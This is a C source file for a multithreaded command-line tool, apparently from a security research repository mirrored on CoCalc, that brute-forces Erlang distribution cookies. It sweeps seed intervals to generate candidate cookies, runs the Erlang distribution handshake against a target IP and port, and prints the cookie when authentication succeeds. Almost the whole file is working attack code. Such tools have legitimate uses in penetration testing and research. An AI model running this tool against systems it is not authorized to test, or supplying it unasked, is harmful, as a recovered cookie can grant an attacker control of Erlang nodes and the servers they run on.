Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
gteissier
GitHub Repository: gteissier/erl-matter
Path: blob/master/bruteforce-erldp.c
271 views
1
#include <sys/socket.h>
2
#include <string.h>
3
#include <netinet/in.h>
4
#include <arpa/inet.h>
5
#include <stdlib.h>
6
#include <fcntl.h>
7
#include <stdio.h>
8
#include <unistd.h>
9
#include <getopt.h>
10
#include <pthread.h>
11
#include <inttypes.h>
12
#include <sys/errno.h>
13
#include <signal.h>
14
#include <sys/queue.h>
15
#include <inttypes.h>
16
#include <sys/stat.h>
17
#include <limits.h>
18
#include <math.h>
19
#include <assert.h>
20
21
#include "erldp.h"
22
#include "jsmn.h"
23
24
static const char *target;
25
static int port;
26
static unsigned int interconnection_gap = 0UL;
27
static int n_workers = 64;
28
static struct worker *workers;
29
static unsigned int n_intervals = 0;
30
31
32
#if defined(__APPLE__)
33
#include "barrier.c"
34
#endif
35
36
struct interval {
37
uint64_t start;
38
uint64_t stop;
39
float prob;
40
unsigned int index_interval;
41
pthread_barrier_t barrier;
42
TAILQ_ENTRY(interval) _next;
43
};
44
static TAILQ_HEAD(,interval) intervals;
45
46
47
static struct interval *create_interval(uint64_t start, uint64_t stop,
48
float prob) {
49
struct interval *new_interval;
50
int ret;
51
52
new_interval = malloc(sizeof(*new_interval));
53
assert(new_interval != NULL);
54
new_interval->start = start;
55
new_interval->stop = stop;
56
new_interval->prob = prob;
57
new_interval->index_interval = n_intervals++;
58
59
ret = pthread_barrier_init(&new_interval->barrier, NULL, n_workers);
60
assert(ret == 0);
61
62
printf("creating new interval %ld -> %ld %f\n", start, stop, prob);
63
64
return new_interval;
65
}
66
67
static struct interval *parse_interval(char *arg) {
68
char *comma;
69
uint64_t start, stop;
70
float prob;
71
72
comma = strchr(arg, ',');
73
if (!comma) return NULL;
74
*comma = 0;
75
76
start = strtoul(arg, NULL, 10);
77
78
arg = comma+1;
79
comma = strchr(arg, ',');
80
if (!comma) return NULL;
81
*comma = 0;
82
83
stop = strtoul(arg, NULL, 10);
84
85
arg = comma+1;
86
prob = strtof(arg, NULL);
87
88
return create_interval(start, stop, prob);
89
}
90
91
static volatile int quit = 0;
92
static volatile int finished = 0;
93
94
struct worker {
95
pthread_t tid;
96
int index;
97
98
struct interval *current_interval;
99
100
volatile uint32_t cumulative_seeds;
101
volatile uint32_t cumulative_conns;
102
volatile uint32_t cumulative_fails;
103
volatile float cumulative_prob;
104
};
105
106
static int read_exactly(int sd, void *ptr, size_t size) {
107
size_t current;
108
int ret;
109
110
for (current = 0; current < size; ) {
111
ret = read(sd, ptr + current, size - current);
112
if (ret == -1) {
113
fprintf(stderr, "could not read, '%s'\n", strerror(errno));
114
return -1;
115
}
116
if (ret == 0) {
117
return 0;
118
}
119
120
current += ret;
121
}
122
123
return current;
124
}
125
126
static int write_exactly(int sd, const void *ptr, size_t size) {
127
size_t current;
128
int ret;
129
130
for (current = 0; current < size; ) {
131
ret = write(sd, ptr + current, size - current);
132
if (ret == -1) {
133
fprintf(stderr, "could not write, '%s'\n", strerror(errno));
134
return -1;
135
}
136
if (ret == 0) {
137
fprintf(stderr, "remote disconnected\n");
138
return 0;
139
}
140
141
current += ret;
142
}
143
144
return current;
145
}
146
147
static size_t read_msg(int sd, void *ptr, size_t size) {
148
int ret;
149
uint16_t length;
150
151
ret = read_exactly(sd, &length, sizeof(length));
152
if (ret != sizeof(length)) {
153
return ret;
154
}
155
156
length = ntohs(length);
157
if (length > size) {
158
fprintf(stderr, "received message exceeds size of given buffer\n");
159
return -1;
160
}
161
162
ret = read_exactly(sd, ptr, length);
163
if (ret != length) {
164
return ret;
165
}
166
167
return length;
168
}
169
170
static size_t write_msg(int sd, void *ptr, size_t size) {
171
int ret;
172
uint16_t length;
173
174
if (size > 65535) {
175
return -1;
176
}
177
178
length = (uint16_t) size;
179
length = htons(length);
180
181
ret = write_exactly(sd, &length, sizeof(length));
182
if (ret != sizeof(length)) {
183
return ret;
184
}
185
186
ret = write_exactly(sd, ptr, size);
187
if (ret != size) {
188
return ret;
189
}
190
191
return size;
192
}
193
194
static void hexdump(const void *ptr, size_t size) {
195
const unsigned char *cptr = ptr;
196
size_t i;
197
198
for (i = 0; i < size; i++) {
199
printf("%02x", cptr[i]);
200
}
201
202
printf("\n");
203
}
204
205
static void *worker_run(void *arg) {
206
struct worker *w = arg;
207
struct sockaddr_in addr;
208
int ret;
209
uint64_t seed, start, stop;
210
int sd;
211
uint64_t challenge;
212
char cookie[20];
213
uint8_t buffer[256];
214
char send_name[64] = "n" "\x00\x05" "\x00\x07\x49\x9c";
215
size_t name_length;
216
char send_challenge_reply[23] = "\x00\x15" "r" "\x00\x00\x00\x00";
217
const int on = 1;
218
219
name_length = snprintf(&send_name[7], 32, "bruteforce%04x@erldp", w->index);
220
221
memset(&addr, 0, sizeof(addr));
222
addr.sin_family = AF_INET;
223
addr.sin_addr.s_addr = inet_addr(target);
224
addr.sin_port = htons(port);
225
226
w->cumulative_prob = 0.0;
227
228
for (; w->current_interval != NULL; w->current_interval = TAILQ_NEXT(w->current_interval, _next)) {
229
start = w->current_interval->start + w->index;
230
stop = w->current_interval->stop;
231
232
for (seed = start; seed <= stop && !quit; seed += n_workers) {
233
create_cookie(seed, cookie, sizeof(cookie));
234
235
sd = socket(PF_INET, SOCK_STREAM, 0);
236
assert(sd != -1);
237
238
ret = setsockopt(sd, SOL_SOCKET, SO_REUSEPORT, &on, sizeof(on));
239
assert(ret == 0);
240
241
ret = connect(sd, (struct sockaddr *) &addr, sizeof(addr));
242
if (ret != 0) {
243
fprintf(stderr, "could not connect to target, '%s'\n", strerror(errno));
244
quit = 1;
245
return NULL;
246
}
247
248
w->cumulative_conns += 1;
249
250
ret = write_msg(sd, send_name, 7 + name_length);
251
if (ret != name_length + 7) {
252
fprintf(stderr, "could not send complete send_name\n");
253
quit = 1;
254
return NULL;
255
}
256
257
ret = read_msg(sd, buffer, sizeof(buffer));
258
if (ret == 0 || ret == -1) {
259
fprintf(stderr, "could not receive send_status\n");
260
quit = 1;
261
return NULL;
262
}
263
264
if (ret == 4 && memcmp(buffer, "snok", 4) == 0) {
265
w->cumulative_fails += 1;
266
goto failed_handshake;
267
}
268
else if (ret != 3 || memcmp(buffer, "sok", 3) != 0) {
269
fprintf(stderr, "invalid / unexpected message received, while awaiting send_status\n");
270
printf("received :");
271
hexdump(buffer, ret);
272
quit = 1;
273
return NULL;
274
}
275
276
ret = read_msg(sd, buffer, sizeof(buffer));
277
if (ret == 0 || ret == -1) {
278
fprintf(stderr, "could not receive send_challengen");
279
quit = 1;
280
return NULL;
281
}
282
283
if (ret < 11 || buffer[0] != 'n') {
284
fprintf(stderr, "invalid / unexpected received, while awaiting send_challenge\n");
285
printf("received :");
286
hexdump(buffer, ret);
287
quit = 1;
288
return NULL;
289
}
290
291
challenge = (buffer[7]<<24) + (buffer[8]<<16) + (buffer[9]<<8) + (buffer[10]<<0);
292
293
compute_response(sizeof(cookie), cookie, challenge, (uint8_t *) &send_challenge_reply[7]);
294
295
ret = write_exactly(sd, send_challenge_reply, sizeof(send_challenge_reply));
296
if (ret != sizeof(send_challenge_reply)) {
297
fprintf(stderr, "could not send complete send_challenge_reply\n");
298
quit = 1;
299
return NULL;
300
}
301
302
w->cumulative_seeds += 1;
303
304
ret = read_msg(sd, buffer, sizeof(buffer));
305
if (ret == 17 && buffer[0] == 'a') {
306
printf("\nfound cookie = %.*s\n", 20, cookie);
307
quit = 1;
308
return NULL;
309
}
310
311
failed_handshake:
312
shutdown(sd, SHUT_RDWR);
313
close(sd);
314
315
316
if (interconnection_gap) {
317
usleep(interconnection_gap);
318
}
319
}
320
321
if (quit)
322
break;
323
324
w->cumulative_prob += w->current_interval->prob;
325
326
ret = pthread_barrier_wait(&w->current_interval->barrier);
327
if (ret != 0 && ret != PTHREAD_BARRIER_SERIAL_THREAD) {
328
printf("pthread_barrier_wait failed with %m\n");
329
}
330
assert(ret == 0 || ret == PTHREAD_BARRIER_SERIAL_THREAD);
331
332
if (TAILQ_NEXT(w->current_interval, _next) == NULL)
333
break;
334
}
335
336
finished += 1;
337
if (finished == n_workers) {
338
quit = 1;
339
}
340
return NULL;
341
};
342
343
344
static size_t slurp(const char *file, void **pcontent) {
345
int fd;
346
int ret;
347
struct stat properties;
348
size_t size, copied;
349
350
fd = open(file, O_RDONLY);
351
assert(fd != -1);
352
353
ret = fstat(fd, &properties);
354
assert(ret == 0);
355
356
size = properties.st_size;
357
358
*pcontent = malloc(size);
359
assert(*pcontent != NULL);
360
361
for(copied = 0; copied < size;) {
362
ret = read(fd, *pcontent + copied, size - copied);
363
assert(ret > 0);
364
copied += ret;
365
}
366
367
close(fd);
368
369
return size;
370
}
371
372
static unsigned long jsontoul(const char *json, jsmntok_t *tok) {
373
char buffer[64];
374
char *endptr;
375
unsigned long val;
376
377
assert(tok->end-tok->start+1 <= sizeof(buffer));
378
memset(buffer, 0, sizeof(buffer));
379
memcpy(buffer, json + tok->start, tok->end-tok->start);
380
381
val = strtoul(buffer, &endptr, 10);
382
assert(val != ULONG_MAX);
383
384
return val;
385
}
386
387
static float jsontof(const char *json, jsmntok_t *tok) {
388
char buffer[64];
389
char *endptr;
390
float val;
391
392
assert(tok->end-tok->start+1 <= sizeof(buffer));
393
memset(buffer, 0, sizeof(buffer));
394
memcpy(buffer, json + tok->start, tok->end-tok->start);
395
396
val = strtof(buffer, &endptr);
397
assert(val != HUGE_VALF && val != -HUGE_VALF);
398
399
return val;
400
}
401
402
403
static int jsoneq(const char *json, jsmntok_t *tok, const char *s) {
404
if (tok->type == JSMN_STRING && (int) strlen(s) == tok->end - tok->start &&
405
strncmp(json + tok->start, s, tok->end - tok->start) == 0) {
406
return 0;
407
}
408
return -1;
409
}
410
411
static void usage(const char *arg0) {
412
fprintf(stderr, "usage: %s [--threads=<1-1024>] [--gap=<gap to sleep between each handshake for a thread, in microsec>] [--interval=<start>,<stop>,<prob> ...] [--distribution=<json file>] [--seed-full-space] <target IPv4> <target port>\n", arg0);
413
fprintf(stderr, " --threads=<1-1024>: defaults to 64\n");
414
fprintf(stderr, " --gap=<amount of microsec to sleep between each handshake attempt>: defaults to 0, no gap\n");
415
fprintf(stderr, " --interval=<start>,<stop>,<prob>: define a seed interval with the associated probability. It may be used multiple times to define search intervals\n");
416
fprintf(stderr, " --distribution=<json file>: define a seed distribution. <json file> points a to file containining a JSON array defining interval of the form:\n");
417
fprintf(stderr, " [{\"start\": 430413359, \"stop\": 431413359, \"prob\": 6.24},...]\n");
418
fprintf(stderr, " --seed-full-space: perform bruteforce over the whole seed space\n");
419
exit(1);
420
}
421
422
int main(int argc, char **argv) {
423
int ret;
424
int option_index = 0;
425
int c;
426
int i;
427
uint64_t cumulative_conns;
428
uint64_t last_cumulative_conns = 0;
429
uint64_t delta_conns;
430
uint64_t cumulative_seeds;
431
uint64_t last_cumulative_seeds = 0;
432
uint64_t delta_seeds;
433
uint64_t cumulative_fails;
434
uint64_t last_cumulative_fails = 0;
435
uint64_t delta_fails;
436
uint64_t total_seeds = 0;
437
struct interval *new_interval;
438
float cumulative_prob;
439
jsmn_parser p;
440
jsmntok_t tokens[1024];
441
void *content;
442
size_t size;
443
uint64_t start, stop;
444
float prob;
445
struct interval *interval;
446
char full_space[] = "0,68719476735,100.0";
447
448
TAILQ_INIT(&intervals);
449
450
static struct option options[] = {
451
{"gap", required_argument, 0, 'g'},
452
{"help", 0, 0, 'h'},
453
{"threads", required_argument, 0, 't'},
454
{"interval", required_argument, 0, 'i'},
455
{"distribution", required_argument, 0, 'd'},
456
{"seed-full-space", 0, 0, 's'},
457
{NULL, 0, 0, 0},
458
};
459
460
while (1) {
461
c = getopt_long(argc, argv, "hst:g:i:d:", options, &option_index);
462
if (c == -1) {
463
break;
464
}
465
switch (c) {
466
case 't':
467
n_workers = atoi(optarg);
468
break;
469
default:
470
break;
471
}
472
}
473
474
if (n_workers <= 0 || n_workers > 1024) {
475
fprintf(stderr, "please provide a valid number of workers\n");
476
exit(1);
477
}
478
479
printf("bruteforce using %d concurrent threads\n", n_workers);
480
481
/* we need to parse the number of threads first */
482
/* hence, we first parse options, using only -t */
483
/* and next, we parse all other options */
484
optind = 0;
485
option_index = 0;
486
while (1) {
487
c = getopt_long(argc, argv, "hst:g:i:d:", options, &option_index);
488
if (c == -1) {
489
break;
490
}
491
switch (c) {
492
case 'g':
493
interconnection_gap = atoi(optarg);
494
break;
495
case 'h':
496
usage(argv[0]);
497
break;
498
case 't':
499
break;
500
case 's':
501
TAILQ_INIT(&intervals);
502
new_interval = parse_interval(full_space);
503
if (new_interval) {
504
TAILQ_INSERT_TAIL(&intervals, new_interval, _next);
505
}
506
break;
507
case 'd':
508
TAILQ_INIT(&intervals);
509
510
size = slurp(optarg, &content);
511
if (size <= 0 || content == NULL) {
512
fprintf(stderr, "failed to parse distribution file '%s'\n", optarg);
513
usage(argv[0]);
514
}
515
516
jsmn_init(&p);
517
ret = jsmn_parse(&p, content, size, tokens, sizeof(tokens)/sizeof(tokens[0]));
518
if (ret < 0) {
519
fprintf(stderr, "failed to parse distribution file '%s'\n", optarg);
520
usage(argv[0]);
521
}
522
523
if (ret < 1 || tokens[0].type != JSMN_ARRAY) {
524
fprintf(stderr, "distribution file '%s' shall contain an array\n", optarg);
525
usage(argv[0]);
526
}
527
528
for (i = 1; i < ret;) {
529
assert(i+6 < ret);
530
assert(tokens[i].type == JSMN_OBJECT);
531
532
assert(jsoneq(content, &tokens[i+1], "start") == 0);
533
assert(tokens[i+2].type == JSMN_PRIMITIVE);
534
start = jsontoul(content, &tokens[i+2]);
535
536
assert(jsoneq(content, &tokens[i+3], "stop") == 0);
537
assert(tokens[i+4].type == JSMN_PRIMITIVE);
538
stop = jsontoul(content, &tokens[i+4]);
539
540
assert(jsoneq(content, &tokens[i+5], "prob") == 0);
541
assert(tokens[i+6].type == JSMN_PRIMITIVE);
542
prob = jsontof(content, &tokens[i+6]);
543
544
new_interval = create_interval(start, stop, prob);
545
TAILQ_INSERT_TAIL(&intervals, new_interval, _next);
546
547
i += 7;
548
}
549
550
free(content);
551
552
break;
553
case 'i':
554
new_interval = parse_interval(optarg);
555
if (new_interval) {
556
TAILQ_INSERT_HEAD(&intervals, new_interval, _next);
557
}
558
else {
559
usage(argv[0]);
560
}
561
break;
562
}
563
}
564
565
if (optind + 2 != argc) {
566
fprintf(stderr, "please, specify a target ip and a target port.\n");
567
usage(argv[0]);
568
}
569
570
571
target = argv[optind];
572
port = atoi(argv[optind+1]);
573
574
575
TAILQ_FOREACH(interval, &intervals, _next) {
576
total_seeds += interval->stop - interval->start + 1;
577
}
578
579
printf("Erlang distribution cookie bruteforce is starting, sweeping through %d seed intervals\n", n_intervals);
580
581
workers = calloc(n_workers, sizeof(*workers));
582
assert(workers != NULL);
583
584
585
for (i = 0; i < n_workers; i++) {
586
workers[i].index = i;
587
workers[i].current_interval = TAILQ_FIRST(&intervals);
588
workers[i].cumulative_conns = 0;
589
workers[i].cumulative_seeds = 0;
590
workers[i].cumulative_fails = 0;
591
592
ret = pthread_create(&workers[i].tid, NULL, worker_run, &workers[i]);
593
assert(ret == 0);
594
}
595
596
597
598
599
while (!quit) {
600
sleep(1);
601
602
cumulative_conns = 0;
603
for (i = 0; i < n_workers; i++) {
604
cumulative_conns += workers[i].cumulative_conns;
605
}
606
delta_conns = cumulative_conns - last_cumulative_conns;
607
last_cumulative_conns = cumulative_conns;
608
609
cumulative_seeds = 0;
610
for (i = 0; i < n_workers; i++) {
611
cumulative_seeds += workers[i].cumulative_seeds;
612
}
613
delta_seeds = cumulative_seeds - last_cumulative_seeds;
614
last_cumulative_seeds = cumulative_seeds;
615
616
cumulative_fails = 0;
617
for (i = 0; i < n_workers; i++) {
618
cumulative_fails += workers[i].cumulative_fails;
619
}
620
delta_fails = cumulative_fails - last_cumulative_fails;
621
last_cumulative_fails = cumulative_fails;
622
623
cumulative_prob = 0.0;
624
for (i = 0; i < n_workers; i++) {
625
cumulative_prob += workers[i].cumulative_prob;
626
}
627
cumulative_prob /= n_workers;
628
629
printf("\r %" PRIu64 " seed/s (%" PRIu64 " conn/s, %" PRIu64 " fails/s)\t\t%2.5f%% (%d/%d)", delta_seeds, delta_conns, delta_fails,\
630
(100.0*cumulative_seeds)/total_seeds, workers[0].current_interval->index_interval+1, n_intervals);
631
fflush(stdout);
632
633
if (quit)
634
break;
635
636
}
637
638
printf("\n");
639
640
for (i = 0; i < n_workers; i++) {
641
pthread_join(workers[i].tid, NULL);
642
}
643
644
free(workers);
645
}
646
647